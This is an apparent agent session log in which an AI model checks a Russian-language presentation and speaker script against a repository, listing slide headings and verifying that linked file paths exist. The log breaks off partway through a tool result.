{\n[2026-09-29T07:54:39.778Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:54:39.780Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:54:39.783Z] [STDOUT]     },\n[2026-09-29T07:54:39.785Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:54:39.788Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:54:39.790Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:54:39.795Z] [STDOUT]   },\n[2026-09-29T07:54:39.798Z] [STDOUT]   durationMs: 1110,\n[2026-09-29T07:54:39.805Z] [STDOUT] }\n[2026-09-29T07:54:39.811Z] [INFO] {\n[2026-09-29T07:54:39.811Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:39.811Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:39.811Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:54:39.811Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:39.811Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:39.811Z] [INFO]   \"uuid\": \"f800f524-a895-4288-9742-c774dfa3c727\"\n[2026-09-29T07:54:39.811Z] [INFO] }\n[2026-09-29T07:54:41.079Z] [INFO] {\n[2026-09-29T07:54:41.079Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:41.079Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:41.079Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:54:41.079Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:41.079Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:41.079Z] [INFO]   \"uuid\": \"4da83487-1f14-40f9-997f-60bbb0c5252f\"\n[2026-09-29T07:54:41.079Z] [INFO] }\n[2026-09-29T07:54:41.895Z] [INFO] {\n[2026-09-29T07:54:41.895Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:41.895Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:41.895Z] [INFO]   \"estimated_tokens\": 292,\n[2026-09-29T07:54:41.895Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:41.895Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:41.895Z] [INFO]   \"uuid\": \"9023b50d-c661-4861-a22f-cd829884c0e2\"\n[2026-09-29T07:54:41.895Z] [INFO] }\n[2026-09-29T07:54:41.903Z] [INFO] {\n[2026-09-29T07:54:41.903Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:41.903Z] [INFO]   \"message\": {\n[2026-09-29T07:54:41.903Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:41.903Z] [INFO]     \"id\": \"msg_011CfXNTY6gRWpxavP5rrfR1\",\n[2026-09-29T07:54:41.903Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:41.903Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:41.903Z] [INFO]     \"content\": [\n[2026-09-29T07:54:41.903Z] [INFO]       {\n[2026-09-29T07:54:41.903Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:54:41.903Z] [INFO]     ],\n[2026-09-29T07:54:41.903Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:41.903Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:41.903Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:41.903Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:41.903Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:41.903Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:41.903Z] [INFO]       \"cache_creation_input_tokens\": 18555,\n[2026-09-29T07:54:41.903Z] [INFO]       \"cache_read_input_tokens\": 14441,\n[2026-09-29T07:54:41.903Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:41.903Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:41.903Z] [INFO]         \"ephemeral_1h_input_tokens\": 18555\n[2026-09-29T07:54:41.903Z] [INFO]       },\n[2026-09-29T07:54:41.903Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:54:41.903Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:41.903Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:41.903Z] [INFO]     },\n[2026-09-29T07:54:41.903Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:54:41.903Z] [INFO]       {\n[2026-09-29T07:54:41.903Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:54:41.903Z] [INFO]       }\n[2026-09-29T07:54:41.903Z] [INFO]     ],\n[2026-09-29T07:54:41.903Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:54:41.903Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:54:41.903Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:54:41.903Z] [INFO]         \"cache_missed_input_tokens\": 19215\n[2026-09-29T07:54:41.903Z] [INFO]       }\n[2026-09-29T07:54:41.903Z] [INFO]     },\n[2026-09-29T07:54:41.903Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:41.903Z] [INFO]   },\n[2026-09-29T07:54:41.903Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:41.903Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:41.903Z] [INFO]   \"uuid\": \"987ca348-9982-4194-97a7-517ea2ac8ae3\",\n[2026-09-29T07:54:41.903Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:41.894Z\",\n[2026-09-29T07:54:41.903Z] [INFO]   \"request_id\": \"req_011CfXNTXbup7xhSFAKTxnmH\"\n[2026-09-29T07:54:41.903Z] [INFO] }\n[2026-09-29T07:54:41.913Z] [INFO] {\n[2026-09-29T07:54:41.913Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:41.913Z] [INFO]   \"message\": {\n[2026-09-29T07:54:41.913Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:41.913Z] [INFO]     \"id\": \"msg_011CfXNTY6gRWpxavP5rrfR1\",\n[2026-09-29T07:54:41.913Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:41.913Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:41.913Z] [INFO]     \"content\": [\n[2026-09-29T07:54:41.913Z] [INFO]       {\n[2026-09-29T07:54:41.913Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:54:41.913Z] [INFO]         \"text\": \"The script was drafted partly from memory, so I'll check every fact and path against the repo and the fact-checked slides.\"\n[2026-09-29T07:54:41.913Z] [INFO]       }\n[2026-09-29T07:54:41.913Z] [INFO]     ],\n[2026-09-29T07:54:41.913Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:41.913Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:41.913Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:41.913Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:41.913Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:41.913Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:41.913Z] [INFO]       \"cache_creation_input_tokens\": 18555,\n[2026-09-29T07:54:41.913Z] [INFO]       \"cache_read_input_tokens\": 14441,\n[2026-09-29T07:54:41.913Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:41.913Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:41.913Z] [INFO]         \"ephemeral_1h_input_tokens\": 18555\n[2026-09-29T07:54:41.913Z] [INFO]       },\n[2026-09-29T07:54:41.913Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:54:41.913Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:41.913Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:41.913Z] [INFO]     },\n[2026-09-29T07:54:41.913Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:54:41.913Z] [INFO]       {\n[2026-09-29T07:54:41.913Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:54:41.913Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:54:41.913Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:54:41.913Z] [INFO]       }\n[2026-09-29T07:54:41.913Z] [INFO]     ],\n[2026-09-29T07:54:41.913Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:54:41.913Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:54:41.913Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:54:41.913Z] [INFO]         \"cache_missed_input_tokens\": 19215\n[2026-09-29T07:54:41.913Z] [INFO]       }\n[2026-09-29T07:54:41.913Z] [INFO]     },\n[2026-09-29T07:54:41.913Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:41.913Z] [INFO]   },\n[2026-09-29T07:54:41.913Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:41.913Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:41.913Z] [INFO]   \"uuid\": \"b64996f0-5e54-44fb-b12c-5535bc543f27\",\n[2026-09-29T07:54:41.913Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:41.898Z\",\n[2026-09-29T07:54:41.913Z] [INFO]   \"request_id\": \"req_011CfXNTXbup7xhSFAKTxnmH\"\n[2026-09-29T07:54:41.913Z] [INFO] }\n[2026-09-29T07:54:44.094Z] [INFO] {\n[2026-09-29T07:54:44.094Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"message\": {\n[2026-09-29T07:54:44.094Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:44.094Z] [INFO]     \"id\": \"msg_011CfXNTY6gRWpxavP5rrfR1\",\n[2026-09-29T07:54:44.094Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:44.094Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:44.094Z] [INFO]     \"content\": [\n[2026-09-29T07:54:44.094Z] [INFO]       {\n[2026-09-29T07:54:44.094Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"id\": \"toolu_019wGzcUskgkdhYFEaarGco9\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"input\": {\n[2026-09-29T07:54:44.094Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n '^## \u0421\u043b\u0430\u0439\u0434' projects/ba-ai-process/docs/presentation/*.md; echo ---; grep -oh 'https://github.com/G-Ivan-A/hybrid-Intelligence-lab/[a-z]*/main/[^) \\\">]*' projects/ba-ai-process/docs/presentation/*speaker*.md | sort -u | while read u; do p=${u#*/main/}; p=${p%%#*}; [ -e \\\"$p\\\" ] && echo \\\"OK $p\\\" || echo \\\"MISSING $p\\\"; done\",\n[2026-09-29T07:54:44.094Z] [INFO]           \"description\": \"List slide headings and check link targets exist\"\n[2026-09-29T07:54:44.094Z] [INFO]         },\n[2026-09-29T07:54:44.094Z] [INFO]         \"caller\": {\n[2026-09-29T07:54:44.094Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:54:44.094Z] [INFO]         }\n[2026-09-29T07:54:44.094Z] [INFO]       }\n[2026-09-29T07:54:44.094Z] [INFO]     ],\n[2026-09-29T07:54:44.094Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:44.094Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:44.094Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:44.094Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:44.094Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:44.094Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:44.094Z] [INFO]       \"cache_creation_input_tokens\": 18555,\n[2026-09-29T07:54:44.094Z] [INFO]       \"cache_read_input_tokens\": 14441,\n[2026-09-29T07:54:44.094Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:44.094Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:44.094Z] [INFO]         \"ephemeral_1h_input_tokens\": 18555\n[2026-09-29T07:54:44.094Z] [INFO]       },\n[2026-09-29T07:54:44.094Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:54:44.094Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:44.094Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:44.094Z] [INFO]     },\n[2026-09-29T07:54:44.094Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:54:44.094Z] [INFO]       {\n[2026-09-29T07:54:44.094Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:54:44.094Z] [INFO]       }\n[2026-09-29T07:54:44.094Z] [INFO]     ],\n[2026-09-29T07:54:44.094Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:54:44.094Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:54:44.094Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:54:44.094Z] [INFO]         \"cache_missed_input_tokens\": 19215\n[2026-09-29T07:54:44.094Z] [INFO]       }\n[2026-09-29T07:54:44.094Z] [INFO]     },\n[2026-09-29T07:54:44.094Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:44.094Z] [INFO]   },\n[2026-09-29T07:54:44.094Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:44.094Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"uuid\": \"a8e9ddaa-7129-44d8-991d-8bb740374563\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:44.081Z\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"request_id\": \"req_011CfXNTXbup7xhSFAKTxnmH\",\n[2026-09-29T07:54:44.094Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:54:44.094Z] [INFO]     \"toolu_019wGzcUskgkdhYFEaarGco9\": {\n[2026-09-29T07:54:44.094Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; grep -n '^## \u0421\u043b\u0430\u0439\u0434' projects/ba-ai-process/docs/presentation/*.md; echo ---; grep -oh 'https://github.com/G-Ivan-A/hybrid-Intelligence-lab/[a-z]*/main/[^) \\\">]*' projects/ba-ai-process/docs/presentation/*speaker*.md | sort -u | while read u; do p=${u#*/main/}; p=${p%%#*}; [ -e \\\"$p\\\" ] && echo \\\"OK $p\\\" || echo \\\"MISSING $p\\\"; done\",\n[2026-09-29T07:54:44.094Z] [INFO]       \"description\": \"List slide headings and check link targets exist\"\n[2026-09-29T07:54:44.094Z] [INFO]     }\n[2026-09-29T07:54:44.094Z] [INFO]   }\n[2026-09-29T07:54:44.094Z] [INFO] }\n[2026-09-29T07:54:44.112Z] [INFO] {\n[2026-09-29T07:54:44.112Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:54:44.112Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:54:44.112Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:54:44.112Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:54:44.112Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:54:44.112Z] [INFO]     \"utilization\": 0.77,\n[2026-09-29T07:54:44.112Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:54:44.112Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:54:44.112Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:54:44.112Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:54:44.112Z] [INFO]         \"utilization\": 0.41,\n[2026-09-29T07:54:44.112Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:54:44.112Z] [INFO]       },\n[2026-09-29T07:54:44.112Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:54:44.112Z] [INFO]         \"utilization\": 0.77,\n[2026-09-29T07:54:44.112Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:54:44.112Z] [INFO]       }\n[2026-09-29T07:54:44.112Z] [INFO]     }\n[2026-09-29T07:54:44.112Z] [INFO]   },\n[2026-09-29T07:54:44.112Z] [INFO]   \"uuid\": \"c05e898a-a851-4ec7-bd3b-13d0fa068d6c\",\n[2026-09-29T07:54:44.112Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:54:44.112Z] [INFO] }\n[2026-09-29T07:54:45.623Z] [INFO] {\n[2026-09-29T07:54:45.623Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:54:45.623Z] [INFO]   \"message\": {\n[2026-09-29T07:54:45.623Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:54:45.623Z] [INFO]     \"content\": [\n[2026-09-29T07:54:45.623Z] [INFO]       {\n[2026-09-29T07:54:45.623Z] [INFO]         \"tool_use_id\": \"toolu_019wGzcUskgkdhYFEaarGco9\",\n[2026-09-29T07:54:45.623Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:54:45.623Z] [INFO]         \"content\": \"projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:78:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:109:## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:146:## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:186:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:233:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:274:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:324:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:373:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:413:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md:455:## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:51:## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:73:## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:98:## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:131:## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:170:## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:198:## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c \u2014 \u043c\u044b \u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:235:## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440: \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:274:## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md:311:## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 